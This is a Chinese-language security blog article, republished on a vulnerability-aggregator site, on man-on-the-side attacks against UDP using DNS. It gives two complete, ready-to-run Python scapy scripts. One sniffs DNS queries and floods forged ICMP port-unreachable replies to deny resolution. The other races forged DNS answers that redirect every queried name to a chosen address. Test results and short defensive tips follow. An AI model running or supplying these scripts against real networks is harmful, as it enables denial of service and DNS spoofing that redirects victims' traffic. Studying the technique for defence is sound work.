CVE漏洞中文网

0DayBank一个专门收集整理全球互联网漏洞的公开发布网站
  1. 首页
  2. 漏洞列表
  3. 正文

udp攻击

2018年11月9日 1386点热度 0人点赞 0条评论
  • FB招聘站
  • 分类阅读
  • 专栏
  • 公开课
  • FIT 2019
  • 企业服务
  • 用户服务
  • 搜索
  • 投稿
  • 登录
  • 注册

MOTS攻击之UDP攻击

feiniao2017-07-11共468636人围观 ,发现 6 个不明物体网络安全

* 原创作者:feiniao,本文属FreeBuf原创奖励计划,未经许可禁止转载

MOTS攻击之UDP攻击

1.  废话

前段时间写了篇文章介绍MOTS攻击的原理及相关的攻击方式,当时只是了解其原理,没有通过程序具体实现。这段时间抽时间学习了Python,花了几天晚上时间用Python实现了UDP的攻击代码。对于TCP这块的攻击找时间再完善一下相关代码。

对于MOTS攻击方式不了解的同学们可以翻翻我上篇文章,《MOTS攻击技术分析》。底层原理是关键,程序实现只是侧面佐证。

废话不多说,直接奔主题。大家都知道,UDP是没有面向连接的,不可靠的,因此对其攻击主要有两种方式:DOS攻击与UDP欺骗

2.  DOS攻击

2.1 原理

因为UDP是无连接的,同一个连接中的报文与前面或后面的报文都没有直接关系。因此对其DOS攻击不像TCP那样只需要发送一个reset包就可以干掉一个TCP连接那样简单,针对UDP的DOS需要将每个报文都DOS掉,不然应用层的重传机制还是会重传相应数据以保持会话与交互的数据完整。因此针对UDP的DOS攻击一般情况下都是针对UDP的轻量化应用进行攻击,如DNS这种小量交互的报文,而不是P2P这种大量报文交互的应用。

DNS的交互相对较简单,正常情况下,一个DNS查询与一个响应。下图可见DNS的应用非常轻量化,一个DNS查询,一个DNS响应。简洁灵巧,轻量化。

因此对其进行DOS非常简单,只需要监听网络中的DNS流量,有DNS查询时,直接返回一个ICMP Port unreachable报文即可,表示端口没有开放。若为TCP的应用,其端口没有开放时,一般回应一个reset报文。并且有一点一定要保证,就是ICMP port unreachable报文一定要比正常的DNS 响应报文早到客户端,这样才可以达到DOS的效果。

MOTS攻击之UDP攻击

2.2 实现

要实现对UDP应用的DOS,我们以DNS为例,需要按照以下几步实现:

1、构造ICMP Port Unreachable报文

2、监听网络中的DNS查询报文

3、监听到DNS查询报文时,响应ICMP port unreachable报文

2.2.1  安装scapy库

实现UDP的DOS攻击是通过安装python的第三方库scapy库来实现的,python本身没有这个库,需要手工安装,具体安装方法大家根据自己的系统与python版本自行安装,本人测试是使用Win10 Pro+Python3.6。python 3.6版本可以通过命令: pip3 install scapy-python3来安装。

2.2.2  构造ICMP Port Unreachable报文

ICMP Port Unreachable报文的具体格式如下,大家可以根据数据包结构来构造。

MOTS攻击之UDP攻击

具体构造时要按照scapy所支持的格式来构造,scapy库支持的icmp报文结构格式如下:

MOTS攻击之UDP攻击

2.2.3  监听并攻击

攻击代码如下,大家可以根据实际情况修改:

#coding:utf-8

'''

date:2017-07-05

author:feiniao

Version:1.0

'''

from scapy.all import *

import random

'''

1、windows绑定本机网卡,首先使用show_interfaces()查看相关网卡

2、再使用conf.iface=''绑定相应的网卡

3、linux需要在sniff()中指定相应的网卡

'''

conf.iface='Intel(R) Dual Band Wireless-AC 8260'

#DNS响应的地址,随机ip字段的id和ttl

ipid = random.randint(1,65535)

ipttl = random.randint(45,80)

def buying(mots):

resp = Ether()/IP()/ICMP()/IP()/UDP()

#构造ICMP报文

resp[ICMP].type = 3

resp[ICMP].code = 3

resp[ICMP][IP].src = mots[IP].src

resp[ICMP][IP].dst = mots[IP].dst

resp[ICMP][IP].ttl = ipttl

resp[ICMP][IP].id = ipid

resp[ICMP][UDP].sport = mots[UDP].sport

resp[ICMP][UDP].dport = mots[UDP].dport

#构造IP包头

resp[IP].src = mots[IP].dst

resp[IP].dst = mots[IP].src

resp[IP].ttl = ipttl

resp[IP].id  = ipid

#构造以太网包头

resp[Ether].src = mots[Ether].dst

resp[Ether].dst = mots[Ether].src

#发送构造的ICMP响应包

sendp(resp,count = 30)

if __name__ == '__main__':

sniff(prn=buying,filter="udp dst port 53")

找到攻击程序所在的目录,直接输入pythondnsdos.py即可。

在实际测试时,上来就遇到一个坑。

由于DNS使用UDP,而UDP是一种不可靠的协议,其存在丢包的可能,因此DNS为了保证应用的可靠性,一般的DNS查询都是发送多个,当前面一个查询失败时,会继续发送DNS查询报文。个人测试是发送四个DNS查询。测试时,发现第一个DNS查询被DOS了,但是第二个DNS时却被正常响应了。所以导致DNS结果还是正常的。

MOTS攻击之UDP攻击

怎么达到最大程度满足实际需求可以达到对DNS的DOS效果,个人有一个思路:因为DNS多个查询报文的间隔都非常短,因此监听程序可以在收到DNS查询时连续发送多个ICMP port unreachable报文,如100个(代码中已做优化,发送30个),这样的话可以很大可能保证每个DNS查询最早收到的都是构造的ICMP port unreachable报文,而不是正常的DNS响应报文,这样的话就可以达到DOD效果,实测效果如下:

MOTS攻击之UDP攻击

2.3 斗争

2.3.1  DNS加密

DNS加密这种方法个人感觉最靠谱!

举个栗子:cisco的opendns解决方案,大家有时间可以实测一下。

https://www.opendns.com/about/innovations/dnscrypt/

2.3.2  代理、VPN

大家各行搜索,不废话。

3.  UDP欺骗

3.1 原理

很简单,在监听到客户端发送请求时,发送一个伪造的响应,并且比正常的响应早到,这样即可达到欺骗的效果。实际攻击还是攻击轻量化的应用,流量较大的攻击效果不一定明显,且成本很大。还是以DNS为测试目标吧。DNS污染在运营商里做的比较多,原理很简单:利益。并且其实现起来具有天然优势,可以在关键链路和节点进行分光监听并发送伪造的数据包。

3.2 实现

代码如下,运行很简单,

#coding:utf-8

'''

date:2017-07-05

author:feiniao

Version:1.0

'''

from scapy.all import *

import random

'''

1、windows绑定本机网卡,首先使用show_interfaces()查看相关网卡

2、再使用conf.iface=''绑定相应的网卡

3、linux需要在sniff()中指定相应的网卡

'''

conf.iface='Intel(R) Dual Band Wireless-AC 8260'

#DNS响应的地址,随机ip字段的id和ttl

rdata = "1.2.3.4"

ipid = random.randint(1,65535)

ipttl = random.randint(45,80)

def buying(mots):

resp = Ether()/IP()/UDP()/DNS() 

#构造DNS相关字段

resp[DNS].qr = 1

resp[DNS].rd = 1

resp[DNS].qdcount = 1 

resp[DNS].ancount = 1

resp[DNS].id = mots[DNS].id

resp[DNS].qd = mots[DNS].qd

resp[DNS].an = DNSRR(type='A',rclass='IN',ttl=1800,rdata=rdata)

resp[DNS].an.rrname = mots[DNS].qd.qname

#构造UDP相关字段

resp[UDP].dport = mots[UDP].sport

resp[UDP].sport = mots[UDP].dport

#构造IP包头

resp[IP].src = mots[IP].dst

resp[IP].dst = mots[IP].src

resp[IP].ttl = ipttl

resp[IP].id  = ipid

#构造以太网包头

resp[Ether].src = mots[Ether].dst

resp[Ether].dst = mots[Ether].src

#发送构造的DNS响应包

sendp(resp)

print("DNS响应为:",mots[DNS].qd.qname,'->',rdata)

if __name__ == '__main__':

sniff(prn=buying,filter="udp dst port 53")

攻击效果如下,可以看到,伪造的DNS报文都是比正常的响应早到的。

MOTS攻击之UDP攻击

MOTS攻击之UDP攻击

3.3 斗争

3.3.1  DNS加密

参考Cisco的OpenDNS

3.3.2  代理、VPN

翻墙,最好个人购买VPS搭建或者国外商业化的服务和产品,国内提供免费的墙可能有鬼。你懂的!

3.3.3  协议优化

延迟处理,收到DNS的响应包后,系统进程不是立即采取该值,而是延迟一段时间,如20ms,若没有再次收到DNS响应报文,则采取该值;若收到不同的DNS响应报文,则做深度识别,如分析ip id,ttl等来判断数据包的真实性或者二次发送DNS查询报文。具体可以参考上篇文章。不过这些技术太low,攻击时也可以在这些层面做优化与改进。

* 原创作者:feiniao,本文属FreeBuf原创奖励计划,未经许可禁止转载

feiniao

feiniao11 篇文章等级: 5级
|
|
  • 上一篇:CDN校验漏洞催生海量网络投毒
  • 下一篇:使用深度学习检测DGA(域名生成算法)
发表评论

已有 6 条评论

  • dafeiniao 2017-07-11回复1楼

    啧啧啧

    亮了(1)
    • feiniao (5级)三实"捕影",专注协议分析与应急响应。 2017-07-12回复

      @ dafeiniao who are you ?dafeiniao?

      亮了(0)
  • wyldlmu (3级) 2017-07-11回复2楼

    学到了

    亮了(0)
  • leveluo (3级) 2017-07-11回复3楼

    公开讨论vpn,jc叔叔抓他

    亮了(3)
    • feiniao (5级)三实"捕影",专注协议分析与应急响应。 2017-07-11回复

      @ leveluo  吓的我感觉找小编给改为VPX

      亮了(1)
      • feiniao (5级)三实"捕影",专注协议分析与应急响应。 2017-07-11回复

        @ feiniao  赶紧

        亮了(0)

 

必须您当前尚未登录。登陆?注册

必须(保密)

表情插图

取消

feiniao

feiniao

三实"捕影",专注协议分析与应急响应。

11文章数134评论数

最近文章

一次入侵应急响应分析

2018.10.17

利用基础数据对某IDC大量网站被黑进行关联分析

2018.08.31

基于DNS的数据挖掘与分析

2018.01.19

浏览更多

相关阅读

  • 一周PowerShell脚本Day 2:UDP交互式PowerShell脚本
  • Udp2raw-Tunnel:一款功能强大的UDP隧道工具
  • 美国将研究一新技术用来识别和跟踪全球的黑客
  • 时间短、流量大:DDoS攻击形式正在改变
  • FireEye:应用程序兼容性缓存的调查

特别推荐

关注我们 分享每日精选文章

活动预告

  • 11月

    FreeBuf精品公开课·双11学习狂欢节 | 给努力的你打打气

    进行中
  • 10月

    【16课时-连载中】挖掘CVE不是梦(系列课程2)

    已结束
  • 10月

    【首节课仅需1元】挖掘CVE不是梦

    已结束
  • 9月

    【已结束】自炼神兵之自动化批量刷SRC

    已结束

FREEBUF

  • 免责声明
  • 协议条款
  • 关于我们
  • 加入我们

广告及服务

  • 寻求报道
  • 广告合作
  • 联系我们
  • 友情链接

关注我们

  • 官方微信
  • 新浪微博
  • 腾讯微博
  • Twitter

赞助商

Copyright © 2018 WWW.FREEBUF.COM All Rights Reserved 沪ICP备13033796号

css.php

正在加载中...

0daybank

标签: 暂无
最后更新:2018年11月9日

小助手

这个人很懒,什么都没留下

点赞
< 上一篇
下一篇 >

文章评论

您需要 登录 之后才可以评论

COPYRIGHT © 2024 www.pdr.cn CVE漏洞中文网. ALL RIGHTS RESERVED.

鲁ICP备2022031030号

联系邮箱:wpbgssyubnmsxxxkkk@proton.me